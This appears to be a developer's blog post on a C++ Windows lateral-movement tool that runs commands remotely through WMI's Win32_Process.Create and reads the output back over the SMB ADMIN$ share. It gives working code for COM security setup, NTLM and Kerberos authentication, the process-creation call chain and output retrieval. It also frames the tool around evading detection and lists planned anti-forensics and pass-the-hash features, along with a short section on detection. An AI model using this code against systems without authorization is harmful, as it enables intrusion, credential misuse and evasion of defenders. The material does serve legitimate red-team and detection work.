The tool is on GitHub: github.com/ilkyr/wmiexec.

Why WMI?

WMI (Windows Management Instrumentation) is Microsoft’s implementation of WBEM, a standard for system management that exposes a queryable interface to almost everything on a Windows machine. Processes, services, registry, hardware, network config. Importantly, Win32_Process.Create lets you spawn a process on a remote machine if you have admin credentials and WMI connectivity (TCP/135 + ephemeral RPC ports).

From an operator perspective:

• No service binary written to disk (unlike PSExec)
• No SMB named pipe for execution (unlike SMBExec)
• Traffic encrypted at the RPC layer with packet privacy
• cmd.exe is the only process spawned (no overly suspicious binary)

The trade-off is that you need SMB (445) alongside WMI to retrieve output, since Win32_Process.Create has no stdout, it returns a PID and an error code, nothing else.

Architecture

The tool is split into focused modules:

main.cpp            — CLI parsing, COM init, auth, interactive REPL
remote_command.cpp  — Win32_Process.Create invocation over WMI
smb_connection.cpp  — ADMIN$ mount for output retrieval
output_handling.cpp — Read remote file, print, delete

The execution loop is straightforward:

1. Initialise COM with packet-privacy security
2. Connect to \\target\root\cimv2 via IWbemLocator
3. Set authentication on the proxy (NTLM or Kerberos)
4. Mount \\target\ADMIN$ for I/O
5. For each command: run it via WMI → wait → read the output file over SMB → delete

COM Initialisation and Security

Before any WMI call, COM needs to be initialised with a security context. This is the part most examples get wrong or skip.

CoInitializeEx(0, COINIT_MULTITHREADED);

CoInitializeSecurity(
    NULL, -1, NULL, NULL,
    RPC_C_AUTHN_LEVEL_PKT_PRIVACY,   // encrypt all packets
    RPC_C_IMP_LEVEL_IMPERSONATE,      // allow impersonation
    NULL,
    EOAC_DYNAMIC_CLOAKING,            // update creds per RPC call
    NULL
);

RPC_C_AUTHN_LEVEL_PKT_PRIVACY encrypts the entire RPC stream — commands and output are not visible on the wire. EOAC_DYNAMIC_CLOAKING ensures the proxy picks up updated credentials per call rather than caching the initial token, which matters when you’re switching between COM objects mid-session.

CoInitializeSecurity can only be called once per process, and it must be called before any COM object is created. If you forget it, WMI connections to remote systems either fail or fall back to unauthenticated access.

Connecting to WMI

IWbemLocator* pLoc = nullptr;
CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER,
                 IID_IWbemLocator, (LPVOID*)&pLoc);

IWbemServices* pSvc = nullptr;
pLoc->ConnectServer(
    bPath,      // L"\\\\target\\root\\cimv2"
    bUser,      // L"DOMAIN\\user" or NULL for Kerberos
    bPass,      // password or NULL
    NULL, 0,
    bAuthority, // L"Kerberos:HOST/target" or NULL
    NULL,
    &pSvc
);

ConnectServer establishes the WMI session. For password auth, you pass credentials directly. For Kerberos, you leave them NULL and set the authority string — the LSA picks up the cached TGT automatically.

After getting pSvc, you must call CoSetProxyBlanket on it to apply your auth context. Without this, the proxy inherits the process security context, which for a remote connection usually means anonymous.

Authentication

Password / NTLM

COAUTHIDENTITY ident{};
ident.User           = (USHORT*)username.c_str();
ident.UserLength     = (ULONG)username.size();
ident.Domain         = (USHORT*)domain.c_str();
ident.DomainLength   = (ULONG)domain.size();
ident.Password       = (USHORT*)password.c_str();
ident.PasswordLength = (ULONG)password.size();
ident.Flags          = SEC_WINNT_AUTH_IDENTITY_UNICODE;

CoSetProxyBlanket(
    pSvc,
    RPC_C_AUTHN_WINNT,              // NTLM
    RPC_C_AUTHZ_NONE,
    NULL,
    RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
    RPC_C_IMP_LEVEL_IMPERSONATE,
    &ident,
    EOAC_NONE
);

The COAUTHIDENTITY struct carries credentials inline and is passed to every proxy blanket call on every COM object in the chain, including pClass, pInParamsDef, and pInParams later on.

Kerberos

// Primary: GSS_NEGOTIATE (tries Kerberos first, falls back gracefully)
CoSetProxyBlanket(
    pSvc,
    RPC_C_AUTHN_GSS_NEGOTIATE,
    RPC_C_AUTHZ_NONE,
    spn,                            // L"HOST/target.domain.local"
    RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
    RPC_C_IMP_LEVEL_IMPERSONATE,
    NULL,                           // no explicit creds — use TGT
    EOAC_DYNAMIC_CLOAKING
);

// Fallback: hard Kerberos if Negotiate fails
CoSetProxyBlanket(pSvc, RPC_C_AUTHN_GSS_KERBEROS, ...);

No credentials passed. The LSA handles TGT → TGS-REQ for HOST/<target>. The authority string on ConnectServer tells WMI which SPN to request a ticket for.

Remote Command Execution

This is the core of the tool. The WMI call chain to invoke Win32_Process.Create:

// 1. Get the class definition
IWbemClassObject* pClass = nullptr;
pSvc->GetObject(L"Win32_Process", 0, nullptr, &pClass, nullptr);

// 2. Get the Create method signature
IWbemClassObject* pInParamsDef = nullptr;
pClass->GetMethod(L"Create", 0, &pInParamsDef, nullptr);

// 3. Spawn a parameter instance
IWbemClassObject* pInParams = nullptr;
pInParamsDef->SpawnInstance(0, &pInParams);

// 4. Set the CommandLine parameter
std::wstring cmd = L"cmd.exe /C " + command
                 + L" > C:\\Windows\\Temp\\output_" + stamp + L".txt 2>&1";
VARIANT varCmd;
varCmd.vt       = VT_BSTR;
varCmd.bstrVal  = SysAllocString(cmd.c_str());
pInParams->Put(L"CommandLine", 0, &varCmd, 0);

// 5. Execute
IWbemClassObject* pOutParams = nullptr;
pSvc->ExecMethod(L"Win32_Process", L"Create", 0, nullptr,
                 pInParams, &pOutParams, nullptr);

// 6. Check return code
VARIANT vRet;
pOutParams->Get(L"ReturnValue", 0, &vRet, nullptr, 0);
// 0 = success; anything else is a Win32 error

A few things worth noting:

• GetObject + GetMethod + SpawnInstance is the correct pattern. You can’t just construct a VARIANT with the method name and fire it. WMI needs the parameter schema from the class definition first.
• Every COM object in this chain (pClass, pInParamsDef, pInParams) gets CoSetProxyBlanket applied to it with the same auth context. Skip any one of these and you’ll get WBEM_E_ACCESS_DENIED mid-chain in ways that are painful to debug.
• ExecMethod is synchronous here. The remote process is created, and control returns immediately. It does not wait for the command to finish. That’s why there’s a Sleep(1000) before reading output, which is crude but works for most commands.

Output Retrieval via SMB

Since WMI gives us no stdout, the command is wrapped in cmd.exe /C ... > file 2>&1. Output goes to C:\Windows\Temp\output_<timestamp>.txt on the target. We read it back over SMB.

The SMB connection is established with WNetAddConnection2W against \\target\ADMIN$:

NETRESOURCE nr{};
nr.dwType      = RESOURCETYPE_DISK;
nr.lpRemoteName = const_cast<LPWSTR>(L"\\\\target\\ADMIN$");

WNetAddConnection2W(&nr, password, username, 0);

A known annoyance: if there’s an existing session to the same host with different credentials, you get ERROR_SESSION_CREDENTIAL_CONFLICT (1219). The connection code handles this by calling WNetCancelConnection2W with fForce=TRUE before each attempt, and also tries connecting to IPC$ first to establish a named session that ADMIN$ can inherit.

Once mounted, reading the output is just opening a file via its UNC path:

std::wstring readPath = L"\\\\" + target + L"\\ADMIN$\\Temp\\output_" + stamp + L".txt";
std::wifstream f(readPath);

After reading, DeleteFileW removes the file. It may fail silently if the target’s SYSTEM account locked it — acceptable for now.

Filename Collision Avoidance

Each command gets a unique output filename built from a timestamp and a monotonic counter:

// Format: YYYYMMDDHHmmss_N
auto t = std::time(nullptr);
std::tm tm{}; localtime_s(&tm, &t);

std::wostringstream ws;
ws << std::put_time(&tm, L"%Y%m%d%H%M%S") << L"_" << counter++;
std::wstring stamp = ws.str();

This avoids collisions if you run commands fast enough to land within the same second, and gives forensic investigators a nice timestamp to work with if they find the files — a trade-off I’ll fix with randomised names in a future version.

Cleanup

Before the process exits, credentials are zeroed from memory:

SecureZeroMemory(&passwordW[0], passwordW.size() * sizeof(wchar_t));

SecureZeroMemory is the correct call here. The compiler won’t optimise it away the way it can with memset, since it uses a volatile pointer internally.

COM objects are released in reverse order of creation. Releasing a parent before a child leads to bad refcount states and occasional access violations on shutdown — order matters.

Detection Surface

This tool is not magic, and operators should know where it leaves marks:

WMI-based execution is detectable with the right logging in place. Microsoft-Windows-WMI-Activity/Operational logs Win32_Process.Create calls if OperationalStatus auditing is enabled. It is not enabled by default, but mature environments often have it. Correlate that with a 4624 type-3 logon from an unusual source and you have a solid detection.

What’s Next

A few things I want to add:

• Encrypted output files — write AES-encrypted output on the target, decrypt client-side. Removes plaintext artefacts from disk.
• Random output filenames — swap the timestamp for a random GUID.
• Upload/download — file transfer over the existing ADMIN$ mount without spawning a process.
• PTH support — pass-the-hash via NtLmSsp flag manipulation.

Code is at github.com/ilkyr/wmiexec. Built and tested on Windows 10/11 and Server 2019/2022.